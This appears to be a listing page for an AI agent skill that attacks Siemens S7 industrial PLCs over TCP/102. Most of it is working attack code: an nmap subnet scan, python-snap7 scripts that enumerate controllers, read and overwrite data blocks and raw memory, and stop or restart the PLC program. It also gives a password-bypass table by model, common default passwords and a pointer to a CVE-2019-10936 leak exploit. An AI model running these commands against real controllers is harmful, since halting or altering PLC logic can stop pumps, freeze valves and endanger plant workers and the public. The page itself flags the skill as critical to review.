Siemens S7 PLC attack — TCP/102 ISO-TP+S7-COMM, snap7 / python-snap7 enumeration, DB/M/E/A area read+write, PLC stop/start/run, password bypass (S7-300/400 vs S7-1200/1500 differences), CVE chain (e.g., Stuxnet's legacy primitives, CVE-2019-10936).
68
83%
Does it follow best practices?
Run evals on this skill
Adds up to 20 points to the overall score
View guide
Critical
Do not install without reviewing
S7Comm runs over ISO-on-TCP (RFC 1006), TCP/102. Siemens PLCs (S7-300, S7-400, S7-1200, S7-1500) speak it.
nmap -p 102 --script=s7-info 10.0.0.0/24
# s7-info NSE returns Module Type, Order Code, Firmware, PLC name
# Or with snap7
python3 -c '
import snap7
c = snap7.client.Client()
c.connect("10.0.0.50", 0, 1) # IP, rack, slot
print(c.get_cpu_info())
print(c.get_cp_info())
print(c.get_order_code())
'S7 memory areas: DB (data block), M (memory bits), E (input), A (output), T (timer), C (counter).
import snap7
from snap7 import util
c = snap7.client.Client()
c.connect("10.0.0.50", 0, 1)
# Read 100 bytes from DB10
data = c.db_read(10, 0, 100)
# Decode:
print("DB10.DBX0.0 (bit):", util.get_bool(data, 0, 0))
print("DB10.DBW2 (int):", util.get_int(data, 2))
print("DB10.DBD4 (real):", util.get_real(data, 4))
# Write back
util.set_real(data, 4, 99.9)
c.db_write(10, 0, data)c.plc_stop() # ⚠ halts execution of the user program — process stops
c.plc_hot_start() # Resume
c.plc_cold_start() # Restart with full init
# Each is unauthenticated on S7-300/400 by default.| PLC family | Default protection | Bypass class |
|---|---|---|
| S7-300/400 | Often none ("No Protection") | Direct |
| S7-1200 (FW < V4) | None or password (cleartext on wire) | Sniff password |
| S7-1200 (FW V4+) | Password + challenge-response | Replay session, weak hash |
| S7-1500 | Password + challenge | CVE-2019-10936 (info leak), then offline crack |
# S7-1200/1500 password auth via snap7's set_session_password
c.set_session_password("changeme")
# Common defaults: "0000000", "siemens", "100", blank, vendor name# Write a DB byte that's a control flag in the PLC program
c.write_area(0x84, 1, 0, bytearray([0xFF])) # write to DB1 byte 0Send a crafted COTP packet → PLC returns memory regions (uncovered password hash on some firmwares):
# PoC: github.com/Nibblesec/s7-info-leak
python3 leak.py 10.0.0.50If you have network access to TIA Portal (the engineering workstation) instead of just the PLC, you can:
.ap16) — contains every PLC's logic, comments, possibly password hashesplc_stop() halts whatever the PLC controls. Pumps stop, valves freeze in last state, motors coast. Confirm scope authorization for stop-class testing.0cf691e
If you maintain this skill, you can claim it as your own. Once claimed, you can manage eval scenarios, bundle related skills, attach documentation or rules, and ensure cross-agent compatibility.